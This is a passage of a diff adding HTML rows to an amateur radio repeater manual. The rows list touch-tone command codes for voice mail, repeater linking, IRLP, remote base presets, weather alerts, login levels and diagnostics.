+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Record a public mail message for another repeater user. After you enter this command, 
+                       the repeater will ask you who the message is for and then to record your message. 
+                       <P>
+                       For example...
+                       <UL>
+                               <LI>You enter command 23
+                               <LI>The repeater says "Who is your message for?"
+                               <LI>You key your transmitter and say only "N8JBO"
+                               <LI>The repeater comes back and says "Please record your message."
+                               <LI>You key your transmitter and state your message for the other repeater user.
+                               <LI>The repeater comes back and says "Your message is stored."
+                       </UL>
+                       <B>Note:</B> There is a limited amount of time available for all recorded messages in 
+                       the repeater. Please keep your message short.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Play Private Mail Messages</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>24 {User #}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Registered users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command code to play any private mail that has been left for you. Don't forget 
+                       to include your user number after the command code 24. Your user number is the three digit 
+                       number you used to log into the system.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Erase Private Mail Messages</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>25</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Registered users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command code after listening to your private voice mail to erase it. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Record a Private Voice Mail Message</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>26 {User #}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Registered users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command code to record private voice mail for another user. Using this command 
+                       is similar to command code 23. Enter command code 26 followed by the user number of the 
+                       user for whom you wish to leave voice mail, wait for a courtesy tone, then key up and say your message.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Play any available SAARC club bulletins</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>27</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command code to play a recorded SAARC club bulletin. The W8GQN VHF repeater will 
+                       announce when such bulletins are available. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Play any available N8DNX repeater bulletin</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>28</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command code to play a recorded N8DNX repeater bulletin. The N8DNX UHF repeater 
+                       will announce when such bulletins are available.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>On-Line help for Voice Mail and Bulletin commands</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>29</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command plays a brief polite voice message describing Voice Mail and Bulletin commands.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Intra"></A>
+               &nbsp;<P><U>Intra-System Linking Commands</U>&nbsp;<P></TH></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn off current link</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>30</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users (set to permit turning links off after login timeout)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command code will turn off linking initiated using command codes 31 through 36.
+                       <P>
+                       <B>Complex Intra-System Linking</B>
+                       <P>
+                       An interesting aspect of the Intra-System linking commands is that they are "cumulative". In 
+                       other words, you can choose to monitor or link to more than one other part of the system at the 
+                       same time from the repeater you're currently using. Also, command code 30 will turn off any and 
+                       all linking to other parts of the system from the current repeater. As a result, an advanced user 
+                       can link several parts of the system together at one time. (Note that the tail message will only 
+                       repeat the last link established.)
+                       <P>
+                       One curious thing is that linking to one part of the system that is linked to another part does 
+                       not mean that all 3 parts are linked together. For example, if the N8DNX repeater is currently 
+                       linked to KO8P and you, as a user of the VHF repeater, link the W8GQN repeater to the N8DNX repeater, 
+                       you will not be linked to the KO8P repeater. In essence, you could talk to people on the N8DNX repeater and people on the N8DNX
+                       could talk to people on the KO8P repeater, but you couldn't talk to people on the KO8P repeater.
+                       <P>
+                       Assuming the situation where you wanted the W8GQN and N8DNX repeaters linked together and both 
+                       of them also linked to KO8P, how would you do this?
+                       <OL>
+                               <LI>Enter 32 from the W8GQN repeater to link to N8DNX
+                               <LI>Enter 36 from the W8GQN repeater to link to KO8P
+                               <LI>Enter 36 from the N8DNX repeater to link to KO8P
+                       </OL>
+                       To drop all of the links simply enter 30 from both the W8GQN and N8DNX repeaters. Note that 
+                       entering 30 on the N8DNX repeater will drop the links to both KO8P and the W8GQN repeater at the same time.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Monitor W8GQN VHF repeater from current repeater</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>31</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Login Required</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       Entering this command code will cause any transmissions received by the on the W8GQN VHF 
+                       repeater to be transmitted on the repeater you are currently using. The W8GQN repeater will 
+                       not transmit any transmissions received on the repeater you are currently using. Use this command 
+                       to monitor activity on the W8GQN repeater without interfering with a conversation on that repeater. 
+                       An occasional tail message will indicate that this is active.
+                       <P>
+                       <B>Note:</B> This command is makes no sense for, and is not available from the W8GQN repeater.
+                       <P>
+                       Use command code 32 to establish a two-way link to the VHF repeater.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Link to the VHF W8GQN repeater from the current repeater</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>32</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Login Required</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command code establishes a two-way link to the W8GQN repeater. Use this command 
+                       to effectively link both repeaters together so that users of both the W8GQN VHF repeater and 
+                       the repeater your are currently using can engage in a conversation together. An occasional tail 
+                       message will indicate that this is active.
+                       <P>
+                       <B>Note:</B> This command is makes no sense for, and is not available from the W8GQN repeater.
+                       <P>
+                       Use command code 31 to monitor the W8GQN repeater's activity before using this command. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Monitor N8DNX (442.375) from current repeater</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>33</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Login Required</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command code will cause any transmissions received by the on the N8DNX repeater 
+                       to be transmitted on the repeater you are currently using. The N8DNX repeater will not 
+                       transmit any transmissions received on the repeater you are currently using. Use this command 
+                       to monitor activity on the N8DNX repeater without interfering with a conversation on that 
+                       repeater. An occasional tail message will indicate that this is active.
+                       <P>
+                       <B>Note:</B> This command is makes no sense for, and is not available from the N8DNX repeater.
+                       <P>
+                       Use command code 34 to establish a two-way link to the N8DNX repeater.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Link to the N8DNX repeater (442.375) from the current repeater</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>34</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Login Required</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command code establishes a two-way link to the N8DNX repeater. Use this 
+                       command to effectively link both repeaters together so that users of both the N8DNX repeater 
+                       and the repeater your are currently using can engage in a conversation together. An occasional 
+                       tail message will indicate that this is active.
+                       <P:
+                       <B>Note:</B> This command is makes no sense for, and is not available from the N8DNX repeater.
+                       <P>
+                       Use command code 33 to monitor the N8DNX repeater activity before using this command. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Monitor KO8P reater (443.375) from current repeater</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>35</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Login Required</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command code will cause any transmissions received by the on the KO8P repeater 
+                       to be transmitted on the repeater you are currently using. The KO8P repeater will not 
+                       transmit any transmissions received on the repeater you are currently using. Use this command 
+                       to monitor activity on the KO8P repeater without interfering with a conversation on that 
+                       repeater. An occasional tail message will indicate that this is active.
+                       <P>
+                       <B>Note:</B> This command is makes no sense for, and is not available from the KO8P repeater.
+                       <P>
+                       Use command code 36 to establish a two-way link to the KO8P repeater.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Link to the KO8P repeater from the current repeater</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>36</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Login Required</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command code establishes a two-way link to the KO8P repeater. Use this 
+                       command to effectively link both repeaters together so that users of both the KO8P repeater 
+                       and the repeater your are currently using can engage in a conversation together. An occasional 
+                       tail message will indicate that this is active.
+                       <P>
+                       <B>Note:</B> This command is makes no sense for, and is not available from the KO8P repeater.
+                       <P>
+                       Use command code 35 to monitor the KO8P repeater activity before using this command. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Send Command to IRLP</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>38 {Node#}<BR>
+                                                                               38 73<BR>
+                                                                               38 {Command}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       This command is unusual in that it has several uses. Since you can't send 
+                       commands to the node computer without first linking to it, and since once you've linked to the 
+                       node computer there's no sense in linking to it again, there is no practical confusion between 
+                       these two uses. An occasional tail message will indicate that this is active (sends "I T" in 
+                       morse code for "IRLP Transmit").
+                       <P>
+                       <B>Use 1:</B> Connect to another IRLP node
+                       <P>
+                       Enter this command followed by a 4 digit command to the IRLP node computer to control the 
+                       IRLP system. (Note that all IRLP node numbers are now 4 digits. Use the "38 73" command to 
+                       disconnect from any IRLP node.)
+                       <DL>
+                               <DD>38 4460 - Connect to the Southfield node
+                               <DD>38 73 - Disconnect from the Southfield node
+                       </DL>
+                       Use "38 73" to disconnect from a node (see below).
+                       <P>
+                       <B>Note:</B> Access to the IRLP node is now allowed by all users-login is no longer required. 
+                       <P>
+                       <B>Use 2:</B> Disconnect from any currently connected IRLP node
+                       <P>
+                       Simply enter "38 73" to disconnect from any IRLP node. (73...get it?)
+                       <P>
+                       <B>Use 3:</B> Special IRLP Node Commands
+                       <P>
+                       Below are some special commands available using the IRLP node computer. These do not connect 
+                       to other IRLP nodes. Instead the perform functions local to the IRLP computer, such as playing 
+                       an ARRL News recording.
+                       <DL>
+                               <DD>38 73   - Disconnect from any IRLP node or stop playing messages listed below
+                               <DD>38 0001 - Play most recent ARRL News
+                               <DD>38 0002 - Play most recent Amateur Radio Newsline
+                               <DD>38 0003 - Play This Week in Amateur Radio
+                               <DD>38 0101 - Play Pelston Airport Weather (updated hourly)
+                               <DD>38 0102 - Play stats from most receint IRLP connection
+                               <DD>38 0103 - Play current propagation report
+                               <DD>38 0113 - Play Solar X-Ray flux report for GEOS satellites 
+                               <DD>38 0104 - Play list of nearby APRS stations
+                               <DD>38 0105 - Play status of 5.8 GHz wireless network feed
+                               <DD>38 0199 - Play a silly message
+                       </DL>
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>On-Line help for Intra-System Linking commands</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>39</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command plays a brief polite voice message describing Intra-System Linking commands.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Preset"></A>
+               &nbsp;<P><U>Preset Remote Base Linking Commands</U>&nbsp;<P></TH></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn off link to remote base</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>40</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command is used to disconnect from a preset remote base link. 
+                       <P>
+                       Preset links are those for which the operating parameters (such as frequency, mode, offset, and 
+                       PL), are predefined. Preset remote base links permit quick access to those frequencies without 
+                       having to go through the process of setting all necessary parameters. A list of these presets 
+                       is included below. (See commands starting at 400.) 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Toggle preset remote base link between Receive and Transmit/Receive</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>41</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command to switch from receive-only mode to transmit and receive mode while using 
+                       one of  the preset remote base links.
+                       <P>
+                       The default mode when you first enable a preset remote base link is receive only. You will need to 
+                       use this command before you can talk to another station using the remote base preset.
+                       <P>
+                       Always listen on the remote base before selecting transmit/receive mode. If you are experiencing 
+                       interference on the local repeater, disconnect from the remote base to avoid causing interference 
+                       to stations on the frequency to which the remote base is tuned.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Preset Remote Base Links</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>400 through 499</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - Login Required</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       The following is a list of preset remote base configuration commands. Enter one of these 
+                       commands to configure the remote base to the listed frequency and mode and to monitor traffic 
+                       on that frequency. Use command code 41 to switch to transmit/receive mode after first monitoring 
+                       the selected frequency.
+                       <P>
+                       <B>Note:</B> Transmitting on the remote base is, in general, restricted to users who are 
+                       licensed for the remote base frequency being used.
+                       <P>
+                       Command Preset Configuration
+                       <DL>
+                               <DD>400 - 146.740 Repeater (Cheboygan)
+                               <DD>410 - 29.6 FM Simplex
+                               <DD>450 - WWV on 10 MHz
+                       </DL>
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>On-Line help for Preset Remote Base Linking Commands</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>49</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command plays a brief polite voice message describing Preset Remote Base Linking Commands.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Remote"></A>
+               &nbsp;<P><U>General Remote Base Operation</U>&nbsp;<P></TH></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn on the Remote Base system</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>50</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>2 through 5 (depending on class of license)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command turns on the remote base system. A full explanation of the remote base system and 
+                       its operation is included in a separate document titled "Remote Base Operation Manual" (issued 
+                       to authorized users at the time they sign up for use of the remote base). 
+                       <P>
+                       You must use this command to turn on the remote base before entering any remote base commands. 
+                       Once the remote base has been turned on, you will only be able to use the remote base commands 
+                       and will have to turn off the remote base system before running any normal repeater commands.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>On-Line help for enabling the Remote Base</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>59</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       This command plays a brief polite voice message describing enabling the Remote Base system. 
+                       No on-line help is available for operation of the remote base. Please be sure to carry with you 
+                       at least the "Short Form Remote Base Operation Guide" when operating the remote base.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Weather"></A>
+               &nbsp;<P><U>Weather Alert and Monitoring Commands</U>&nbsp;<P></TH></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Monitor Weather Receiver for 2 Minutes</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>60</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command plays the weather receiver over the current repeater for up to 2 minutes. The 
+                       weather receiver is pre-tuned to a local NOAA weather transmitter and will automatically switch 
+                       to a backup channel should the local weather transmitter fail.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn off Weather Receiver</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>61</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       Use this command to stop monitoring the weather receiver. You may use this command if you 
+                       don't want to wait for the entire 2 minutes provided by command code 60.
+                       <P>
+                       Note: Do not use this command to interrupt an automatically triggered weather alert transmission.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Replay last weather alert message</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>62</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command replays the last automatically transmitted weather alert message. 
+                       <P>
+                       Each time a weather alert is broadcast by the local NOAA weather station, the repeater will play the 
+                       message live on both the W8GQN and N8DNX repeaters while recording the message for replay. If a 
+                       weather alert has been triggered, the repeater will announce this by periodically stating "Weather 
+                       Alert". Use this command to listen to the most recent message.
+                       <P>
+                       <B>Note:</B> Only control operators can clear a weather alert message and discontinue the alert announcements. 
+                       <P>
+                       The weather receiver is only triggered by significant local weather broadcasts from NOAA that will 
+                       affect Emmet and surrounding counties and is not triggered by test messages.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>On-Line help for Weather Alert and Monitoring Commands</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>69</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command plays a brief polite voice message describing the weather alert system and 
+                       monitoring of NOAA weather broadcasts.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="SecurityAccess"></A>
+               &nbsp;<P><U>Security and Access Commands</U>&nbsp;<P></TH></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>List Users Who are Currently Logged In</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>70</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command will list any users who used command code 71 and are currently logged in (have 
+                       a user level greater than 0). Logging into the system permits a user to use restricted 
+                       commands (commands which require a user level greater than 0). A user will remain "logged in" 
+                       as long as they keep entering commands. If a logged-in user doesn't enter a command for some 
+                       period of time, the system will automatically log that user out of the system and return them 
+                       to user level 0.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Log Into the System</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>71 {user ID}<BR>
+                                                                       71 {user ID} {Pass Code}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command to log into the repeater system and permit access to commands that require 
+                       a user level greater than 0.
+                       <P>
+                       <B>Note:</B> The system will log you out automatically if you do not enter any command codes 
+                       for a few minutes. When this happens, you will hear the message "{your call} Control Down". 
+                       <P>
+                       <B>WARNING:</B> Any user on the repeater you used to log-into the system may issue restricted 
+                       commands permitted to your user level while you are logged in. In essence, once you log in, 
+                       the system can't tell if someone sending it command codes is the one who logged-in or someone 
+                       else. You are responsible for the use of your user ID. Be sure to log out using command code 
+                       72 as soon as you are done.
+                       <P>
+                       <B>WARNING:</B> You are responsible for the use of your user ID. Do not share your Pass Code 
+                       or Pass Phrase with others. If you believe for some reason that your ID and Pass Code or Pass 
+                       Phrase is being used by someone else, contact a control or system operator immediately and 
+                       have them disable your ID or issue you new access codes.
+                       <P
+                       Each user who is granted restricted access to the repeater system (club members, remote base 
+                       users, control operators, etc.) is given a specific numeric user "ID" and a "Pass Code" or  
+                       "Pass Phrase". User ID's are grouped by access level and a specific ID is only given to one 
+                       individual at a time. That numeric ID with uniquely identify the user to the system and establish 
+                       the "User Level" the user attains when logged in. That User Level determines what commands the user may use.
+                       <P>
+                       A user with a specific user level may use any commands available to that user level and all 
+                       commands available to lower user levels. For example, a General class remote base user can use 
+                       any command available to Tech class remote base users, club members or any user who has not 
+                       logged-in, but not those available only to level 4 (Advanced) and greater.
+                       <P>
+                       <TABLE BORDER="0">
+                               <TR><TH>ID</TH><TH>Level</TH><TH>User Type</TH></TR>
+                               <TR><TD>(none)</TD><TD>0</TD><TD>Any repeater user</TD></TR>
+                               <TR><TD>100-199</TD><TD>1</TD><TD>Club members without access to the Remote Base System</TD></TR>
+                               <TR><TD>200-299</TD><TD>2</TD><TD>Remote Base users with a Tech class license</TD></TR>
+                               <TR><TD>300-399</TD><TD>3</TD><TD>Remote Base users with a General class license</TD></TR>
+                               <TR><TD>400-499</TD><TD>4</TD><TD>Remote Base users with an Advanced class license</TD></TR>
+                               <TR><TD>500-599</TD><TD>5</TD><TD>Remote Base users with an Extra class license</TD></TR>
+                               <TR><TD>600-699</TD><TD>6</TD><TD>Repeater Control operators and Officers</TD></TR>
+                               <TR><TD>700-999</TD><TD>7</TD><TD>System operators and programmers</TD></TR>
+                       </TABLE>
+                       <P>
+                       Note: The remote base system knows on which frequencies each class of licensee is permitted 
+                       to transmit. Operators need not worry about transmitting outside frequencies permitted for their 
+                       license class-the system will not let them do so. This is the only reason for separating access 
+                       levels by license class.
+                       <P>
+                       There are two forms of this command. Which one you use will depend on whether you have been 
+                       assigned a "Pass Code" or a "Pass Phrase". A "Pass Code" is a specific sequence of from 3 to 
+                       5 digits that you will always enter exactly. A "Pass Phrase" is a longer sequence of up to 8 
+                       digits that provide a "cross reference" of sorts and is used as part of a "challenge/response" 
+                       process. The practical difference is that someone monitoring the input channel with a Touch 
+                       Tone decoder can decode your "Pass Code" and use your ID, while the proper use of  "Pass Phrase" 
+                       makes it very difficult for someone monitoring with a decoder to correctly determine your entire 
+                       Pass Phrase and thus to use your ID.
+                       <P>
+                       <B>Note:</B> Use of a "Pass Phrase" is beyond the scope of this manual and will be explained to 
+                       users who for some reason require higher security.
+                       <P>
+                       Most users will be assigned a Pass Code and will log-in the same way each time. For example, 
+                       a user with the ID 167 and a Pass Code of 526 would log into the system as follows:
+                       <DL>
+                               <DD>71 167 526
+                       </DL>
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Log Out of the System</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>72</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>1 - All Logged-In Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>             
+               <TD>
+                       Use this command to log out of the system and return to user level 0. You are required to use 
+                       this command when you are done entering restricted commands to prevent other unprivileged users 
+                       from entering restricted commands.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>On-Line help for Security and Access Commands</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>79</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command plays a brief polite voice message describing the Security and Access command codes.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Test"></A>
+               &nbsp;<P><U>Test and Diagnostic Commands</U>&nbsp;<P></TH></TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Touch Tone Pad Test</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>80 {digits}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH>     <TD>0 - All Users</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command to test the Touch Tone pad on your radio. Any digits included after command code 
+                       80 will be repeated by the system in the order in which they were entered. Do not un-key between 
+                       the command code and the digits you want to test.
+                       <P>
+                       Use may use this command to test all keys on your Touch Tone pad, including A, B, C, D, * and #. 
+                       <P>
+                       <B>Note:</B> If the system doesn't properly reply, you may not be strong enough into the repeater 
+                       to reliably enter codes or may have some problem with your radio. The most common problems other 
+                       than a weak signal are under or over deviation and "twist". Twist is a situation where there is 
+                       a significant difference in level between the low tones and high tones that are produced as you 
+                       press each key. 
+                       <P>
+                       You can use this command to determine if you have a good enough signal prior to executing other commands.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Test Received Audio</TD></TR>
